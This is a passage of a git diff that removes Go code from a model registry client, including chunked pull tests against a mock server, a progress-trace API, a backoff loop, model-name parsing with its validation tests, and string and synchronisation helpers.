t.Fatal(err) - } - - ctx := WithTrace(t.Context(), &Trace{ - Update: func(l *Layer, n int64, err error) { - t.Log("trace:", l.Digest.Short(), n, err) - }, - }) - - rc := &Registry{ - Cache: cache, - HTTPClient: &http.Client{Transport: &http.Transport{ - Dial: func(network, addr string) (net.Conn, error) { - return net.Dial(network, s.Listener.Addr().String()) - }, - }}, - } - return rc, ctx -} - -func TestPullChunked(t *testing.T) { - var steps atomic.Int64 - c, ctx := newRegistryClient(t, func(w http.ResponseWriter, r *http.Request) { - switch steps.Add(1) { - case 1: - checkRequest(t, r, "GET", "/v2/library/abc/manifests/latest") - io.WriteString(w, `{"layers":[{"size":3,"digest":"sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"}]}`) - case 2: - checkRequest(t, r, "GET", "/v2/library/abc/chunksums/sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad") - w.Header().Set("Content-Location", "http://blob.store/v2/library/abc/blobs/sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad") - fmt.Fprintf(w, "%s 0-1\n", blob.DigestFromBytes("ab")) - fmt.Fprintf(w, "%s 2-2\n", blob.DigestFromBytes("c")) - case 3, 4: - checkRequest(t, r, "GET", "/v2/library/abc/blobs/sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad") - switch rng := r.Header.Get("Range"); rng { - case "bytes=0-1": - io.WriteString(w, "ab") - case "bytes=2-2": - t.Logf("writing c") - io.WriteString(w, "c") - default: - t.Errorf("unexpected range %q", rng) - } - default: - t.Errorf("unexpected steps %d: %v", steps.Load(), r) - http.Error(w, "unexpected steps", http.StatusInternalServerError) - } - }) - - c.ChunkingThreshold = 1 // force chunking - - err := c.Pull(ctx, "http://o.com/library/abc") - testutil.Check(t, err) - - _, err = c.Cache.Resolve("o.com/library/abc:latest") - testutil.Check(t, err) - - if g := steps.Load(); g != 4 { - t.Fatalf("got %d steps, want 4", g) - } -} - -func TestPullCached(t *testing.T) { - c, ctx := newRegistryClient(t, func(w http.ResponseWriter, r *http.Request) { - checkRequest(t, r, "GET", "/v2/library/abc/manifests/latest") - io.WriteString(w, `{"layers":[{"size":3,"digest":"sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"}]}`) - }) - - check := testutil.Checker(t) - - // Premeptively cache the blob - d, err := blob.ParseDigest("sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad") - check(err) - err = blob.PutBytes(c.Cache, d, []byte("abc")) - check(err) - - // Pull only the manifest, which should be enough to resolve the cached blob - err = c.Pull(ctx, "http://o.com/library/abc") - check(err) -} - -func TestPullManifestError(t *testing.T) { - c, ctx := newRegistryClient(t, func(w http.ResponseWriter, r *http.Request) { - checkRequest(t, r, "GET", "/v2/library/abc/manifests/latest") - w.WriteHeader(http.StatusNotFound) - io.WriteString(w, `{"errors":[{"code":"MANIFEST_UNKNOWN"}]}`) - }) - - err := c.Pull(ctx, "http://o.com/library/abc") - if err == nil { - t.Fatalf("expected error") - } - var got *Error - if !errors.Is(err, ErrModelNotFound) { - t.Fatalf("err = %v, want %v", got, ErrModelNotFound) - } -} - -func TestPullLayerError(t *testing.T) { - c, ctx := newRegistryClient(t, func(w http.ResponseWriter, r *http.Request) { - checkRequest(t, r, "GET", "/v2/library/abc/manifests/latest") - io.WriteString(w, `!`) - }) - - err := c.Pull(ctx, "http://o.com/library/abc") - if err == nil { - t.Fatalf("expected error") - } - var want *json.SyntaxError - if !errors.As(err, &want) { - t.Fatalf("err = %T, want %T", err, want) - } -} - -func TestPullLayerChecksumError(t *testing.T) { - var step atomic.Int64 - c, _ := newRegistryClient(t, func(w http.ResponseWriter, r *http.Request) { - switch step.Add(1) { - case 1: - checkRequest(t, r, "GET", "/v2/library/abc/manifests/latest") - io.WriteString(w, `{"layers":[{"size":3,"digest":"sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"}]}`) - case 2: - checkRequest(t, r, "GET", "/v2/library/abc/chunksums/sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad") - w.Header().Set("Content-Location", "http://blob.store/v2/library/abc/blobs/sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad") - fmt.Fprintf(w, "%s 0-1\n", blob.DigestFromBytes("ab")) - fmt.Fprintf(w, "%s 2-2\n", blob.DigestFromBytes("c")) - case 3: - w.WriteHeader(http.StatusNotFound) - io.WriteString(w, `{"errors":[{"code":"BLOB_UNKNOWN"}]}`) - case 4: - io.WriteString(w, "c") - default: - t.Errorf("unexpected steps %d: %v", step.Load(), r) - http.Error(w, "unexpected steps", http.StatusInternalServerError) - } - }) - - c.MaxStreams = 1 - c.ChunkingThreshold = 1 // force chunking - - var written atomic.Int64 - ctx := WithTrace(t.Context(), &Trace{ - Update: func(l *Layer, n int64, err error) { - t.Log("trace:", l.Digest.Short(), n, err) - written.Add(n) - }, - }) - - err := c.Pull(ctx, "http://o.com/library/abc") - var got *Error - if !errors.As(err, &got) || got.Code != "BLOB_UNKNOWN" { - t.Fatalf("err = %v, want %v", err, got) - } - - if g := written.Load(); g != 1 { - t.Fatalf("wrote %d bytes, want 1", g) - } -} - -func TestPullChunksumStreamError(t *testing.T) { - var step atomic.Int64 - c, ctx := newRegistryClient(t, func(w http.ResponseWriter, r *http.Request) { - switch step.Add(1) { - case 1: - checkRequest(t, r, "GET", "/v2/library/abc/manifests/latest") - io.WriteString(w, `{"layers":[{"size":3,"digest":"sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"}]}`) - case 2: - w.Header().Set("Content-Location", "http://blob.store/v2/library/abc/blobs/sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad") - - // Write one valid chunksum and one invalid chunksum - fmt.Fprintf(w, "%s 0-1\n", blob.DigestFromBytes("ab")) // valid - fmt.Fprint(w, "sha256:!") // invalid - case 3: - io.WriteString(w, "ab") - default: - t.Errorf("unexpected steps %d: %v", step.Load(), r) - http.Error(w, "unexpected steps", http.StatusInternalServerError) - } - }) - - c.ChunkingThreshold = 1 // force chunking - - got := c.Pull(ctx, "http://o.com/library/abc") - if !errors.Is(got, ErrIncomplete) { - t.Fatalf("err = %v, want %v", got, ErrIncomplete) - } -} - -type flushAfterWriter struct { - w io.Writer -} - -func (f *flushAfterWriter) Write(p []byte) (n int, err error) { - n, err = f.w.Write(p) - f.w.(http.Flusher).Flush() // panic if not a flusher - return -} - -func TestPullChunksumStreaming(t *testing.T) { - csr, csw := io.Pipe() - defer csw.Close() - - var step atomic.Int64 - c, _ := newRegistryClient(t, func(w http.ResponseWriter, r *http.Request) { - switch step.Add(1) { - case 1: - checkRequest(t, r, "GET", "/v2/library/abc/manifests/latest") - io.WriteString(w, `{"layers":[{"size":3,"digest":"sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"}]}`) - case 2: - w.Header().Set("Content-Location", "http://blob.store/v2/library/abc/blobs/sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad") - fw := &flushAfterWriter{w} // ensure client gets data as it arrives by aggressively flushing - _, err := io.Copy(fw, csr) - if err != nil { - t.Errorf("copy: %v", err) - } - case 3: - io.WriteString(w, "ab") - case 4: - io.WriteString(w, "c") - default: - t.Errorf("unexpected steps %d: %v", step.Load(), r) - http.Error(w, "unexpected steps", http.StatusInternalServerError) - } - }) - - c.ChunkingThreshold = 1 // force chunking - - update := make(chan int64, 1) - ctx := WithTrace(t.Context(), &Trace{ - Update: func(l *Layer, n int64, err error) { - t.Log("trace:", l.Digest.Short(), n, err) - if n > 0 { - update <- n - } - }, - }) - - errc := make(chan error, 1) - go func() { - errc <- c.Pull(ctx, "http://o.com/library/abc") - }() - - // Send first chunksum and ensure it kicks off work immediately - fmt.Fprintf(csw, "%s 0-1\n", blob.DigestFromBytes("ab")) - if g := <-update; g != 2 { - t.Fatalf("got %d, want 2", g) - } - - // now send the second chunksum and ensure it kicks off work immediately - fmt.Fprintf(csw, "%s 2-2\n", blob.DigestFromBytes("c")) - if g := <-update; g != 3 { - t.Fatalf("got %d, want 3", g) - } - csw.Close() - testutil.Check(t, <-errc) -} - -func TestPullChunksumsCached(t *testing.T) { - var step atomic.Int64 - c, _ := newRegistryClient(t, func(w http.ResponseWriter, r *http.Request) { - switch step.Add(1) { - case 1: - checkRequest(t, r, "GET", "/v2/library/abc/manifests/latest") - io.WriteString(w, `{"layers":[{"size":3,"digest":"sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"}]}`) - case 2: - w.Header().Set("Content-Location", "http://blob.store/v2/library/abc/blobs/sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad") - fmt.Fprintf(w, "%s 0-1\n", blob.DigestFromBytes("ab")) - fmt.Fprintf(w, "%s 2-2\n", blob.DigestFromBytes("c")) - case 3, 4: - switch rng := r.Header.Get("Range"); rng { - case "bytes=0-1": - io.WriteString(w, "ab") - case "bytes=2-2": - io.WriteString(w, "c") - default: - t.Errorf("unexpected range %q", rng) - } - default: - t.Errorf("unexpected steps %d: %v", step.Load(), r) - http.Error(w, "unexpected steps", http.StatusInternalServerError) - } - }) - - c.MaxStreams = 1 // force serial processing of chunksums - c.ChunkingThreshold = 1 // force chunking - - ctx, cancel := context.WithCancel(t.Context()) - defer cancel() - - // Cancel the pull after the first chunksum is processed, but before - // the second chunksum is processed (which is waiting because - // MaxStreams=1). This should cause the second chunksum to error out - // leaving the blob incomplete. - ctx = WithTrace(ctx, &Trace{ - Update: func(l *Layer, n int64, err error) { - if n > 0 { - cancel() - } - }, - }) - err := c.Pull(ctx, "http://o.com/library/abc") - if !errors.Is(err, context.Canceled) { - t.Fatalf("err = %v, want %v", err, context.Canceled) - } - - _, err = c.Cache.Resolve("o.com/library/abc:latest") - if !errors.Is(err, fs.ErrNotExist) { - t.Fatalf("err = %v, want nil", err) - } - - // Reset state and pull again to ensure the blob chunks that should - // have been cached are, and the remaining chunk was downloaded, making - // the blob complete. - step.Store(0) - var written atomic.Int64 - var cached atomic.Int64 - ctx = WithTrace(t.Context(), &Trace{ - Update: func(l *Layer, n int64, err error) { - t.Log("trace:", l.Digest.Short(), n, err) - if errors.Is(err, ErrCached) { - cached.Add(n) - } - written.Add(n) - }, - }) - - check := testutil.Checker(t) - - err = c.Pull(ctx, "http://o.com/library/abc") - check(err) - - _, err = c.Cache.Resolve("o.com/library/abc:latest") - check(err) - - if g := written.Load(); g != 5 { - t.Fatalf("wrote %d bytes, want 3", g) - } - if g := cached.Load(); g != 2 { // "ab" should have been cached - t.Fatalf("cached %d bytes, want 5", g) - } -} diff --git a/server/internal/client/ollama/trace.go b/server/internal/client/ollama/trace.go deleted file mode 100644 index a7cac0d5d..000000000 --- a/server/internal/client/ollama/trace.go +++ /dev/null @@ -1,72 +0,0 @@ -package ollama - -import ( - "context" -) - -// Trace is a set of functions that are called to report progress during blob -// downloads and uploads. -// -// Use [WithTrace] to attach a Trace to a context for use with [Registry.Push] -// and [Registry.Pull]. -type Trace struct { - // Update is called during [Registry.Push] and [Registry.Pull] to - // report the progress of blob uploads and downloads. - // - // The n argument is the number of bytes transferred so far, and err is - // any error that has occurred. If n == 0, and err is nil, the download - // or upload has just started. If err is [ErrCached], the download or - // upload has been skipped because the blob is already present in the - // local cache or remote registry, respectively. Otherwise, if err is - // non-nil, the download or upload has failed. When l.Size == n, and - // err is nil, the download or upload has completed. - // - // A function assigned must be safe for concurrent use. The function is - // called synchronously and so should not block or take long to run. - Update func(_ *Layer, n int64, _ error) -} - -func (t *Trace) update(l *Layer, n int64, err error) { - if t.Update != nil { - t.Update(l, n, err) - } -} - -type traceKey struct{} - -// WithTrace adds a trace to the context for transfer progress reporting. -func WithTrace(ctx context.Context, t *Trace) context.Context { - old := traceFromContext(ctx) - if old == t { - // No change, return the original context. This also prevents - // infinite recursion below, if the caller passes the same - // Trace. - return ctx - } - - // Create a new Trace that wraps the old one, if any. If we used the - // same pointer t, we end up with a recursive structure. - composed := &Trace{ - Update: func(l *Layer, n int64, err error) { - if old != nil { - old.update(l, n, err) - } - t.update(l, n, err) - }, - } - return context.WithValue(ctx, traceKey{}, composed) -} - -var emptyTrace = &Trace{} - -// traceFromContext returns the Trace associated with ctx, or an empty Trace if -// none is found. -// -// It never returns nil. -func traceFromContext(ctx context.Context) *Trace { - t, _ := ctx.Value(traceKey{}).(*Trace) - if t == nil { - return emptyTrace - } - return t -} diff --git a/server/internal/internal/backoff/backoff.go b/server/internal/internal/backoff/backoff.go deleted file mode 100644 index 08b4ed7f9..000000000 --- a/server/internal/internal/backoff/backoff.go +++ /dev/null @@ -1,45 +0,0 @@ -package backoff - -import ( - "context" - "iter" - "math/rand/v2" - "time" -) - -func Loop(ctx context.Context, maxBackoff time.Duration) iter.Seq2[int, error] { - var n int - return func(yield func(int, error) bool) { - var t *time.Timer - for { - if ctx.Err() != nil { - yield(n, ctx.Err()) - return - } - - if !yield(n, nil) { - return - } - - n++ - - // n^2 backoff timer is a little smoother than the - // common choice of 2^n. - d := min(time.Duration(n*n)*10*time.Millisecond, maxBackoff) - // Randomize the delay between 0.5-1.5 x msec, in order - // to prevent accidental "thundering herd" problems. - d = time.Duration(float64(d) * (rand.Float64() + 0.5)) - - if t == nil { - t = time.NewTimer(d) - } else { - t.Reset(d) - } - select { - case <-ctx.Done(): - t.Stop() - case <-t.C: - } - } - } -} diff --git a/server/internal/internal/backoff/backoff_synctest_test.go b/server/internal/internal/backoff/backoff_synctest_test.go deleted file mode 100644 index c59620f8b..000000000 --- a/server/internal/internal/backoff/backoff_synctest_test.go +++ /dev/null @@ -1,38 +0,0 @@ -package backoff - -import ( - "context" - "errors" - "testing" - "testing/synctest" - "time" -) - -func TestLoop(t *testing.T) { - synctest.Test(t, func(t *testing.T) { - last := -1 - - ctx, cancel := context.WithCancel(t.Context()) - defer cancel() - - for n, err := range Loop(ctx, 100*time.Millisecond) { - if !errors.Is(err, ctx.Err()) { - t.Errorf("err = %v, want nil", err) - } - if err != nil { - break - } - if n != last+1 { - t.Errorf("n = %d, want %d", n, last+1) - } - last = n - if n > 5 { - cancel() - } - } - - if last != 6 { - t.Errorf("last = %d, want 6", last) - } - }) -} diff --git a/server/internal/internal/backoff/backoff_test.go b/server/internal/internal/backoff/backoff_test.go deleted file mode 100644 index 1d6d19c2c..000000000 --- a/server/internal/internal/backoff/backoff_test.go +++ /dev/null @@ -1,24 +0,0 @@ -package backoff - -import ( - "testing" -) - -func TestLoopAllocs(t *testing.T) { - for i := range 3 { - got := testing.AllocsPerRun(1000, func() { - for tick := range Loop(t.Context(), 1) { - if tick >= i { - break - } - } - }) - want := float64(0) - if i > 0 { - want = 3 // due to time.NewTimer - } - if got > want { - t.Errorf("[%d ticks]: allocs = %v, want 0", i, want) - } - } -} diff --git a/server/internal/internal/names/name.go b/server/internal/internal/names/name.go deleted file mode 100644 index f0a1185dc..000000000 --- a/server/internal/internal/names/name.go +++ /dev/null @@ -1,228 +0,0 @@ -package names - -import ( - "cmp" - "fmt" - "strings" - - "github.com/ollama/ollama/server/internal/internal/stringsx" -) - -const MaxNameLength = 350 + 1 + 80 + 1 + 80 + 1 + 80 // //: - -type Name struct { - // Make incomparable to enfoce use of Compare / Equal for - // case-insensitive comparisons. - _ [0]func() - - h string - n string - m string - t string -} - -// Parse parses and assembles a Name from a name string. The -// format of a valid name string is: -// -// s: -// { host } "/" { namespace } "/" { model } ":" { tag } -// { host } "/" { namespace } "/" { model } -// { namespace } "/" { model } ":" { tag } -// { namespace } "/" { model } -// { model } ":" { tag } -// { model } -// host: -// pattern: { alphanum | "_" } { alphanum | "_" | "-" | "." | ":" }* -// length: [1, 350] -// namespace: -// pattern: { alphanum | "_" } { alphanum | "-" | "_" }* -// length: [1, 80] -// model: -// pattern: { alphanum | "_" } { alphanum | "-" | "_" | "." }* -// length: [1, 80] -// tag: -// pattern: { alphanum | "_" } { alphanum | "-" | "_" | "." }* -// length: [1, 80] -// -// The name returned is not guaranteed to be valid. If it is not valid, the -// field values are left in an undefined state. Use [Name.IsValid] to check -// if the name is valid. -func Parse(s string) Name { - if len(s) > MaxNameLength { - return Name{} - } - - var n Name - var tail string - var c byte - for { - s, tail, c = cutLastAny(s, "/:") - switch c { - case ':': - n.t = tail - continue // look for model - case '/': - n.h, n.n, _ = cutLastAny(s, "/") - n.m = tail - return n - case 0: - n.m = tail - return n - } - } -} - -// Split splits an extended name string into its scheme, name, and digest -// parts. -// -// Examples: -// -// http://ollama.com/bmizerany/smol:latest@digest -// https://ollama.com/bmizerany/smol:latest -// ollama.com/bmizerany/smol:latest@digest // returns "https" scheme. -// model@digest -// @digest -func Split(s string) (scheme, name, digest string) { - i := strings.Index(s, "://") - if i >= 0 { - scheme = s[:i] - s = s[i+3:] - } - i = strings.LastIndex(s, "@") - if i >= 0 { - digest = s[i+1:] - s = s[:i] - } - return scheme, s, digest -} - -// Merge merges two names into a single name. Non-empty host, namespace, and -// tag parts of a take precedence over fields in b. The model field is left as -// is. -// -// The returned name is not guaranteed to be valid. Use [Name.IsValid] to check -// if the name is valid. -func Merge(a, b Name) Name { - a.h = cmp.Or(a.h, b.h) - a.n = cmp.Or(a.n, b.n) - a.t = cmp.Or(a.t, b.t) - return a -} - -// IsValid returns true if the name is valid. -func (n Name) IsValid() bool { - if n.h != "" && !isValidPart(partHost, n.h) { - return false - } - if n.n != "" && !isValidPart(partNamespace, n.n) { - return false - } - if n.t != "" && !isValidPart(partTag, n.t) { - return false - } - - // at bare minimum, model must be present and valid - return n.m != "" && isValidPart(partModel, n.m) -} - -func (n Name) IsFullyQualified() bool { - return n.IsValid() && n.h != "" && n.n != "" && n.m != "" && n.t != "" -} - -const ( - partHost = iota - partNamespace - partModel - partTag -) - -func isValidPart(kind int, s string) bool { - maxlen := 80 - if kind == partHost { - maxlen = 350 - } - if len(s) > maxlen { - return false - } - - for i := range s { - if i == 0 { - if !isAlphanumericOrUnderscore(s[i]) { - return false - } - continue - } - switch s[i] { - case '_', '-': - case '.': - if kind == partNamespace { - return false - } - case ':': - if kind != partHost { - return false - } - default: - if !isAlphanumericOrUnderscore(s[i]) { - return false - } - } - } - return true -} - -func isAlphanumericOrUnderscore(c byte) bool { - return c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z' || c >= '0' && c <= '9' || c == '_' -} - -func (n Name) Host() string { return n.h } -func (n Name) Namespace() string { return n.n } -func (n Name) Model() string { return n.m } -func (n Name) Tag() string { return n.t } - -// Compare compares n and o case-insensitively. It returns 0 if n and o are -// equal, -1 if n sorts before o, and 1 if n sorts after o. -func (n Name) Compare(o Name) int { - return cmp.Or( - stringsx.CompareFold(n.h, o.h), - stringsx.CompareFold(n.n, o.n), - stringsx.CompareFold(n.m, o.m), - stringsx.CompareFold(n.t, o.t), - ) -} - -// String returns the fully qualified name in the format -// /:. -func (n Name) String() string { - var b strings.Builder - if n.h != "" { - b.WriteString(n.h) - b.WriteByte('/') - } - if n.n != "" { - b.WriteString(n.n) - b.WriteByte('/') - } - b.WriteString(n.m) - if n.t != "" { - b.WriteByte(':') - b.WriteString(n.t) - } - return b.String() -} - -func (n Name) GoString() string { - return fmt.Sprintf("", n.h, n.n, n.m, n.t) -} - -// cutLastAny is like strings.Cut but scans in reverse for the last character -// in chars. If no character is found, before is the empty string and after is -// s. The returned sep is the byte value of the character in chars if one was -// found; otherwise it is 0. -func cutLastAny(s, chars string) (before, after string, sep byte) { - i := strings.LastIndexAny(s, chars) - if i >= 0 { - return s[:i], s[i+1:], s[i] - } - return "", s, 0 -} diff --git a/server/internal/internal/names/name_test.go b/server/internal/internal/names/name_test.go deleted file mode 100644 index e3dc5fe3c..000000000 --- a/server/internal/internal/names/name_test.go +++ /dev/null @@ -1,220 +0,0 @@ -package names - -import ( - "strings" - "testing" -) - -func TestParseName(t *testing.T) { - cases := []struct { - in string - want Name - }{ - {"", Name{}}, - {"m:t", Name{m: "m", t: "t"}}, - {"m", Name{m: "m"}}, - {"/m", Name{m: "m"}}, - {"/n/m:t", Name{n: "n", m: "m", t: "t"}}, - {"n/m", Name{n: "n", m: "m"}}, - {"n/m:t", Name{n: "n", m: "m", t: "t"}}, - {"n/m", Name{n: "n", m: "m"}}, - {"n/m", Name{n: "n", m: "m"}}, - {strings.Repeat("m", MaxNameLength+1), Name{}}, - {"h/n/m:t", Name{h: "h", n: "n", m: "m", t: "t"}}, - {"ollama.com/library/_:latest", Name{h: "ollama.com", n: "library", m: "_", t: "latest"}}, - - // Invalids - // TODO: {"n:t/m:t", Name{}}, - // TODO: {"/h/n/m:t", Name{}}, - } - - for _, tt := range cases { - t.Run(tt.in, func(t *testing.T) { - got := Parse(tt.in) - if got.Compare(tt.want) != 0 { - t.Errorf("parseName(%q) = %#v, want %q", tt.in, got, tt.want) - } - }) - } -} - -func TestString(t *testing.T) { - cases := []string{ - "", - "m:t", - "m:t", - "m", - "n/m", - "n/m:t", - "n/m", - "n/m", - "h/n/m:t", - "ollama.com/library/_:latest", - - // Special cased to "round trip" without the leading slash. - "/m", - "/n/m:t", - } - for _, s := range cases { - t.Run(s, func(t *testing.T) { - s = strings.TrimPrefix(s, "/") - if g := Parse(s).String(); g != s { - t.Errorf("parse(%q).String() = %q", s, g) - } - }) - } -} - -func TestParseExtended(t *testing.T) { - cases := []struct { - in string - - wantScheme string - wantName Name - wantDigest string - }{ - {"", "", Name{}, ""}, - {"m", "", Name{m: "m"}, ""}, - {"http://m", "http", Name{m: "m"}, ""}, - {"http+insecure://m", "http+insecure", Name{m: "m"}, ""}, - {"http://m@sha256:deadbeef", "http", Name{m: "m"}, "sha256:deadbeef"}, - } - for _, tt := range cases { - t.Run(tt.in, func(t *testing.T) { - scheme, name, digest := Split(tt.in) - n := Parse(name) - if scheme != tt.wantScheme || n.Compare(tt.wantName) != 0 || digest != tt.wantDigest { - t.Errorf("ParseExtended(%q) = %q, %#v, %q, want %q, %#v, %q", tt.in, scheme, name, digest, tt.wantScheme, tt.wantName, tt.wantDigest) - } - }) - } -} - -func TestMerge(t *testing.T) { - cases := []struct { - a, b string - want string - }{ - {"", "", ""}, - {"m", "", "m"}, - {"", "m", ""}, - {"x", "y", "x"}, - {"o.com/n/m:t", "o.com/n/m:t", "o.com/n/m:t"}, - {"o.com/n/m:t", "o.com/n/_:t", "o.com/n/m:t"}, - - {"bmizerany/smol", "ollama.com/library/_:latest", "ollama.com/bmizerany/smol:latest"}, - {"localhost:8080/bmizerany/smol", "ollama.com/library/_:latest", "localhost:8080/bmizerany/smol:latest"}, - } - for _, tt := range cases { - t.Run("", func(t *testing.T) { - a, b := Parse(tt.a), Parse(tt.b) - got := Merge(a, b) - if got.Compare(Parse(tt.want)) != 0 { - t.Errorf("merge(%q, %q) = %#v, want %q", tt.a, tt.b, got, tt.want) - } - }) - } -} - -func TestParseStringRoundTrip(t *testing.T) { - cases := []string{ - "", - "m", - "m:t", - "n/m", - "n/m:t", - "n/m:t", - "n/m", - "n/m", - "h/n/m:t", - "ollama.com/library/_:latest", - } - for _, s := range cases { - t.Run(s, func(t *testing.T) { - if got := Parse(s).String(); got != s { - t.Errorf("parse(%q).String() = %q", s, got) - } - }) - } -} - -var junkName Name - -func BenchmarkParseName(b *testing.B) { - b.ReportAllocs() - for range b.N { - junkName = Parse("h/n/m:t") - } -} - -const ( - part80 = "88888888888888888888888888888888888888888888888888888888888888888888888888888888" - part350 = "33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333" -) - -var testCases = map[string]bool{ // name -> valid - "": false, - - "_why/_the/_lucky:_stiff": true, - - // minimal - "h/n/m:t": true, - - "host/namespace/model:tag": true, - "host/namespace/model": true, - "namespace/model": true, - "model": true, - - // long (but valid) - part80 + "/" + part80 + "/" + part80 + ":" + part80: true, - part350 + "/" + part80 + "/" + part80 + ":" + part80: true, - - // too long - part80 + "/" + part80 + "/" + part80 + ":" + part350: false, - "x" + part350 + "/" + part80 + "/" + part80 + ":" + part80: false, - - "h/nn/mm:t": true, // bare minimum part sizes - - // unqualified - "m": true, - "n/m:": true, - "h/n/m": true, - "@t": false, - "m@d": false, - - // invalids - "^": false, - "mm:": true, - "/nn/mm": true, - "//": false, // empty model - "//mm": true, - "hh//": false, // empty model - "//mm:@": false, - "00@": false, - "@": false, - - // not starting with alphanum - "-hh/nn/mm:tt": false, - "hh/-nn/mm:tt": false, - "hh/nn/-mm:tt": false, - "hh/nn/mm:-tt": false, - - // smells like a flag - "-h": false, - - // hosts - "host:https/namespace/model:tag": true, - - // colon in non-host part before tag - "host/name:space/model:tag": false, -} - -func TestParseNameValidation(t *testing.T) { - for s, valid := range testCases { - got := Parse(s) - if got.IsValid() != valid { - t.Logf("got: %v", got) - t.Errorf("Parse(%q).IsValid() = %v; want !%[2]v", s, got.IsValid()) - } - } -} diff --git a/server/internal/internal/stringsx/stringsx.go b/server/internal/internal/stringsx/stringsx.go deleted file mode 100644 index 6c7a8d20d..000000000 --- a/server/internal/internal/stringsx/stringsx.go +++ /dev/null @@ -1,52 +0,0 @@ -// Copyright (c) Tailscale Inc & AUTHORS -// SPDX-License-Identifier: BSD-3-Clause - -// Package stringsx provides additional string manipulation functions -// that aren't in the standard library's strings package or go4.org/mem. -package stringsx - -import ( - "unicode" - "unicode/utf8" -) - -// CompareFold returns -1, 0, or 1 depending on whether a < b, a == b, or a > b, -// like cmp.Compare, but case insensitively. -func CompareFold(a, b string) int { - // Track our position in both strings - ia, ib := 0, 0 - for ia < len(a) && ib < len(b) { - ra, wa := nextRuneLower(a[ia:]) - rb, wb := nextRuneLower(b[ib:]) - if ra < rb { - return -1 - } - if ra > rb { - return 1 - } - ia += wa - ib += wb - if wa == 0 || wb == 0 { - break - } - } - - // If we've reached here, one or both strings are exhausted - // The shorter string is "less than" if they match up to this point - switch { - case ia == len(a) && ib == len(b): - return 0 - case ia == len(a): - return -1 - default: - return 1 - } -} - -// nextRuneLower returns the next rune in the string, lowercased, along with its -// original (consumed) width in bytes. If the string is empty, it returns -// (utf8.RuneError, 0) -func nextRuneLower(s string) (r rune, width int) { - r, width = utf8.DecodeRuneInString(s) - return unicode.ToLower(r), width -} diff --git a/server/internal/internal/stringsx/stringsx_test.go b/server/internal/internal/stringsx/stringsx_test.go deleted file mode 100644 index 8575c0b27..000000000 --- a/server/internal/internal/stringsx/stringsx_test.go +++ /dev/null @@ -1,78 +0,0 @@ -// Copyright (c) Tailscale Inc & AUTHORS -// SPDX-License-Identifier: BSD-3-Clause - -package stringsx - -import ( - "cmp" - "strings" - "testing" -) - -func TestCompareFold(t *testing.T) { - tests := []struct { - a, b string - }{ - // Basic ASCII cases - {"", ""}, - {"a", "a"}, - {"a", "A"}, - {"A", "a"}, - {"a", "b"}, - {"b", "a"}, - {"abc", "ABC"}, - {"ABC", "abc"}, - {"abc", "abd"}, - {"abd", "abc"}, - - // Length differences - {"abc", "ab"}, - {"ab", "abc"}, - - // Unicode cases - {"世界", "世界"}, - {"Hello世界", "hello世界"}, - {"世界Hello", "世界hello"}, - {"世界", "世界x"}, - {"世界x", "世界"}, - - // Special case folding examples - {"ß", "ss"}, // German sharp s - {"fi", "fi"}, // fi ligature - {"Σ", "σ"}, // Greek sigma - {"İ", "i\u0307"}, // Turkish dotted I - - // Mixed cases - {"HelloWorld", "helloworld"}, - {"HELLOWORLD", "helloworld"}, - {"helloworld", "HELLOWORLD"}, - {"HelloWorld", "helloworld"}, - {"helloworld", "HelloWorld"}, - - // Edge cases - {" ", " "}, - {"1", "1"}, - {"123", "123"}, - {"!@#", "!@#"}, - } - - wants := []int{} - for _, tt := range tests { - got := CompareFold(tt.a, tt.b) - want := cmp.Compare(strings.ToLower(tt.a), strings.ToLower(tt.b)) - if got != want { - t.Errorf("CompareFold(%q, %q) = %v, want %v", tt.a, tt.b, got, want) - } - wants = append(wants, want) - } - - if n := testing.AllocsPerRun(1000, func() { - for i, tt := range tests { - if CompareFold(tt.a, tt.b) != wants[i] { - panic("unexpected") - } - } - }); n > 0 { - t.Errorf("allocs = %v; want 0", int(n)) - } -} diff --git a/server/internal/internal/syncs/line.go b/server/internal/internal/syncs/line.go deleted file mode 100644 index 021cd4c09..000000000 --- a/server/internal/internal/syncs/line.go +++ /dev/null @@ -1,201 +0,0 @@ -// Package syncs provides synchronization primitives. -package syncs - -import ( - "cmp" - "io" - "sync" -) - -var closedChan = func() chan struct{} { - ch := make(chan struct{}) - close(ch) - return ch -}() - -// Ticket represents a ticket in a sequence of tickets. The zero value is -// invalid. Use [Line.Take] to get a valid ticket. -// -// A Ticket is not safe for concurrent use. -type Ticket struct { - ahead chan struct{} // ticket ahead of this one - ch chan struct{} -} - -// Ready returns a channel that is closed when the ticket before this one is -// done. -// -// It is incorrect to wait on Ready after the ticket is done. -func (t *Ticket) Ready() chan struct{} { - return cmp.Or(t.ahead, closedChan) -} - -// Done signals that this ticket is done and that the next ticket in line can -// proceed. -// -// The first call to [Done] unblocks the ticket after it, if any. Subsequent -// calls are no-ops. -func (t *Ticket) Done() { - if t.ch != nil { - close(t.ch) - } - t.ch = nil -} - -// Line is an ordered sequence of tickets waiting for their turn to proceed. -// -// To get a ticket use [Line.Take]. -// To signal that a ticket is done use [Ticket.Done]. -// To wait your turn use [Ticket.Ready]. -// -// A Line is not safe for concurrent use. -type Line struct { - last chan struct{} // last ticket in line -} - -func (q 